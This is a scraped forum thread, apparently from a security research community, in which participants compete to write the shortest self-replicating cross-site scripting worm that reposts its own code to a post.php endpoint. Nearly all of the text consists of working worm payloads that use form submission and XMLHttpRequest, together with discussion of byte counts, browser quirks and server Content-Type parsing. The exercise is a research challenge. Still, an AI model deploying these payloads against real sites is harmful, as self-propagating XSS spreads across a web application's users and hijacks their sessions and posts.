Paid Advertising
8) must have a payload of "XSS" in an alert box
<form><input name="content"><img src="" onerror="with(parentNode)alert('XSS',submit(content.value='<form>'+innerHTML.slice(action=(method='post')+'.php',155)))">
<form id=_><input name="content"><script>with(_)alert('XSS',submit(content.value='<form id=_>'+innerHTML.slice(action=(method='post')+'.php',147)))</script>
<form id=_><input name="content"><script>with(_)submit(action=(method='post')+'.php',content.value='<form id=_>'+innerHTML.slice(alert('XSS'),147))</script>
<form><input name="content"><script>with(parentNode)submit(action=(method='post')+'.php',content.value='<form>'+innerHTML.slice(alert('XSS'),146))</script>
<form><INPUT name="content"><SCRIPT>with(parentNode)submit(action=(method='post')+'.php',content.value='<form>'+innerHTML.slice(alert('XSS'),149))</SCRIPT>
I guess you read my post and stripped + bloated some stuff .. I thought you had something new with the valueOf, instead of toString, but it works the same. On FF you still have the bloat problem (see post), and the \/ get's evaluated to / on FF so you're worm fails on the second runtime. Next to that you're not encoding it right ...Quote
dev80function p(){alert("xss");x=new XMLHttpRequest;x.open("post","post.php");x.send("content="+p.valueOf()+"p()<\/script>");}p()
just ''+p is equal to p.toString() or p.valueOf().Quote
dev80
still trying to figure out what you meant by the first part of your statement
content=function p(){alert("xss");x=new... I guess x will be defined instead of all data to content. If the app will just handle all data (in stdin or whatever), content= wouldn't be needed either.Quote
dev80
what do you mean by not encoding it right?
I was only testing the sending, that is done (without header).Quote
dev80
do you mean data won't be sent or parsed
You've solved one of the crappy problems, great! (namely "cannot reference to f in f: f=function(){reference to f}();")Quote
amado<script>(function w(){alert("xss");n=new XMLHttpRequest;n.open("post","post.php");n.send("content=<script>("+w+"())<\/script>")}())</script>
<script>(function f(){alert("XSS");(x=new XMLHttpRequest).open("post","post.php");x.send("content="+encodeURIComponent("<script>("+f+"())</sc"+"ript>"));}())</script>
166 bytes
Quote
ma1
And OK, the obvious:
<form id=_><input name="content"><script>with(_)submit(action=(method='post')+'.php',content.value='<form id=_>'+innerHTML.slice(alert('XSS'),147))</script>
Goodbye (I MUST work!) :(
I know, the last semicolon is added by the FF toString, so that's why I left it there.Quote
amado
u dont need that last semicolon at the end of the function after send(..), thatll save u one byte ;)
but like sirdarckcat mention, it wont work in apache.
rsnake didn't give server architecture specs, we can assume PHP as parsing language, but still it is the webserver software who does the CGI form value parsing (I think), there might be an exotic webserver who'll work without the Content-Type (or I can build it myself ;-).Quote
rsnake
7) must work in at least Internet Explorer 7.0 and Firefox 2.x
that doesnt work on replication.Quote
shawn
<form id=_><input name=content id=c><script>with(_)submit(action=(method='post')+'.php',c.value='<form id=_>'+innerHTML.slice(alert('XSS'),146))</script>
hahaha your code will work fine on my webserver.. (I made one.. Azteca WebServer), I'll give you that.. but rsnake still has to decide that.Quote
bwb labs
(or I can build it myself ;-)
<script>function w(){alert("xss");(n=new XMLHttpRequest).open("post","post.php");n.send("content=<script>("+w+"())</"+"script>")}w()</script>
141
<script>function f(){alert("XSS");(x=new XMLHttpRequest).open("post","post.php");x.send("content="+encodeURIComponent("<script>"+f+"f()</"+"script>"));}f()</script>
164
check the rules, it shouldnt grow.. you have to do something like..Quote
Spyware
<form method=POST action=post.php><INPUT NAME=content onFocus=content.value=document.body.innerHTML;alert('xss');submit()>
122
The 2nd version becomes:
<form method="post" action="post.php"><input name="content" onfocus="content.value=document.body.innerHTML;alert('xss');submit()"></form>
137
-Spyware
ÿ<form method="post" action="post.php"><input name="content" onfocus="content.value=document.body.innerHTML.match(/ÿ.*/);alert('xss');submit()"></form>
but I dont know if that's valid or if it'll work.. you need a linebreak at the end.
Cool :-), yeah, we do need a clarification for it...Quote
sirdarckcat
hahaha your code will work fine on my webserver.. (I made one.. Azteca WebServer), I'll give you that.. but rsnake still has to decide that.
<form id=z><INPUT name="content"><SCRIPT>with(z)alert('XSS',submit(action=(method='post')+'.php', content.value='<form id=z>'+innerHTML+'</form>'))</SCRIPT></form>
<form id=z><INPUT name="content"><SCRIPT>with(z)alert('XSS',submit(action=(method='post')+'.php', content.value='<form id=z>'+innerHTML.slice(0,148)))</SCRIPT>
<b><form method="post" action="post.php"><input name="content" onfocus="submit(value=parentNode.parentNode.innerHTML.bold(),alert('xss'))"></form></b>
You're right! That saves another 2 bytes, but the FF bloat problem stays, so this is still the shortest XMLHttpRequest worm (without Content-Type) till now:Quote
sirdarckcat<script>function f(){alert("XSS");(x=new XMLHttpRequest).open("post","post.php");x.send("content="+encodeURIComponent("<script>"+f+"f()</"+"script>"));}f()</script>
<script>eval(y="alert('XSS');q=String.fromCharCode(34);(x=new XMLHttpRequest()).open('POST','post.php');x.send('content='+encodeURIComponent('<script>eval(y='+q+y+q+')</sc'+'ript>'))")</script>
Another note about webserver software and Content-Type, there are some big sites that are running their own webserver software/proxies/strange loadbalancers, so I think the likelihood that the Content-Type is not required there is higher.